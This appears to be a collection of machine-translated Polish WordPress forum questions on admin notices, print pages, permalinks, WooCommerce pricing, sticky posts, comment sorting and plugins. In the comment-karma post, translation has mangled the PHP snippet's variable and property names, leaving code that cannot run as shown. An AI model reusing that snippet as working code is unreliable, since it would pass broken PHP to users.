text: Jaki byłby najlepszy sposób na dodanie podstawowego kodu HTML do przeglądu strony (edit.php)? Zasadniczo chcę dodać trochę tekstu, na przykład pole meta, aby wyjaśnić niektóre rzeczy dotyczące systemu stron moim użytkownikom korzystającym z wielu witryn. Znalazłem odpowiedź dzięki rozwiązaniu dostarczonemu przez OleVik. Oto kilka dodatkowych zasobów na ten temat: Jak wyświetlić pilną wiadomość w obszarze administracyjnym WordPressa Plugin API/Action Reference/admin notices


title: Jak wyświetlić prostą stronę do drukowania informacji o produkcie?

text: Używam WP 3.1.2 i najnowszej wtyczki e-commerce. Teraz utknąłem w tworzeniu prostej strony do drukowania informacji o produkcie. Muszą to być tylko informacje o produkcie bez nagłówka i stopki WordPress. Wyskakujące okienko pojawia się ładnie, ale teraz muszę sprawdzić coś w plikach nagłówka i stopki, aby ich nie wyświetlać. Nie mogę sprawdzić po id postu, ponieważ muszę go edytować za każdym razem, gdy dodawany jest nowy produkt. I nie mogę dodać parametru GET do adresu URL, bo wtedy wtyczka WP e-commerce nie pokazuje produktu, zamiast tego wyświetla stronę produktów. Jak mogę to zrobić?


title: wyjątek mod-rewrite? zachować #hash w pasujących adresach URL?

text: Hej chłopaki, struktura mojego linku do WordPressa jest ustawiona na `/%postname%/. Kiedy tworzę stronę o nazwie „FAQs”, wygenerowany link bezpośredni to „moja_domena.com/faqs”. Kiedy link do tej strony w moim kodzie (zapisanym na stałe) w ten sposób... `<a href="<?php bloginfo('home'); ?>/faqs#b" title="FAQ's">FAQs` (zwróć uwagę na hash #b na końcu) ...wordpress w jakiś sposób automatycznie zauważa, że istnieje strona `/faqs` i zastępuje `/faqs#b` tylko `/faqs` (bez hash). Czy jest szansa, że mogę napisać wyjątek do mojego pliku .htaccess, aby WordPress tego nie robił? Masz pomysł, jak mogę sprawić, by to działało?


title: Ogromna ilość zapytań na mojej stronie

text: Moja witryna cały czas osiąga limity procesora, właśnie uruchomiłem zapytania debugowania i otrzymałem ponad 4000 zapytań, nic dziwnego, że witryna jest wolna.


title: Definiowanie tej samej ceny dla wszystkich produktów WooCommerce

text: Wszystkie moje produkty w mojej witrynie kosztują 1 USD, a podczas importu, który wykonałem za pomocą importu WooCommerce, nie zapisano wszystkich wartości _regular_price i _sale_price, więc użytkownik nie ma możliwości zakupu tego produktu. Czy istnieje zapytanie mysql, które może przejść i zastosować wartość do wszystkich wartości null do wartości $1?


title: Przyklejony post dla wszystkich stron i kategorii

text: Chcę mieć przyklejony post dla wszystkich moich stron i kategorii. Wybór „przyklejonego posta” w poście edycji nie zadziałał. Znalazłem wiele fragmentów kodu, ale nie osiągnąłem pożądanego rezultatu. Wolę implementować kodowane, a nie za pomocą wtyczki. Jakaś pomoc? Z góry dziękuję.


title: Sortuj komentarze według karmy

text: Używam oceny komentarzy wtyczek (kciuki w górę - kciuk w dół) w moim szablonie komentarzy. Przechowuje "karmę" w kolumnie bazy danych "comment_karma" w tabeli komentarzy. Szukam sposobu na sortowanie wp_list_comments według wyższej karmy do najniższej. Próbowałem czegoś takiego jak <?php wp_list_comments('callback=mu_custom_callback&orderby=comment_karma&order=DESC') ?> ale to nie działa. dzięki **UPDATE** Udało mi się umieścić w functions.php ` function comment_comparator($a, $b) { $compared = 0; if($a->karma_komentarza != $b->karma_komentarza) { $porównana = $a->karma_komentarza < $b->karma_komentarza ? 1:-1; } return $porównane; } oraz w comments.php globalnym $wp_query; $comment_arr = $wp_query->komentarze; usort($comment_arr, 'comment_comparator'); wp_list_comments('callback=gtcn_basic_callback', $comment_arr); Znalezione na tej stronie


title: Jak sprawić, by wyszukiwarka indeksowała pliki PDF?

text: Szukam wtyczki lub pomysłu, aby moja wyszukiwarka WP 3.1 mogła indeksować pliki PDF. Czy ktoś też przeżył tę potrzebę? Dziękuję !


title: Wtyczka lub motyw sortujący posty jako „najlepsze w tym roku” i „najlepsze w zeszłym miesiącu”?

text: Czy jest jakaś bezpłatna wtyczka WordPress lub motyw, który sortuje posty jako „najlepsze w tym roku” i „najlepsze w zeszłym miesiącu” lub „najlepsze 24 godziny” na podstawie głosowania? Używam teraz wtyczki Głosuj na górę. Ale tak nie jest mają możliwość sortowania postów w pętli.Wszelkie sugestie?


title: Funkcjonalność pytań i odpowiedzi z wtyczką?

text: Chcę wiedzieć, czy ktoś wie o jakiejś wtyczce, która może wstawiać odpowiedź na pytanie funkcjonalnie, tak jak MakeUseof? Chcę, aby ta funkcja była dostępna w istniejącej witrynie, a nie jako samodzielny motyw krążący po rynku. Lub jakiekolwiek szczegółowe wyjaśnienie, w jaki sposób można to osiągnąć za pomocą wielu wtyczek. Chcę dużo podobnego obiektu jak na stronie makeuse. Z zakładkami takimi jak najpopularniejsze, bez odpowiedzi itp.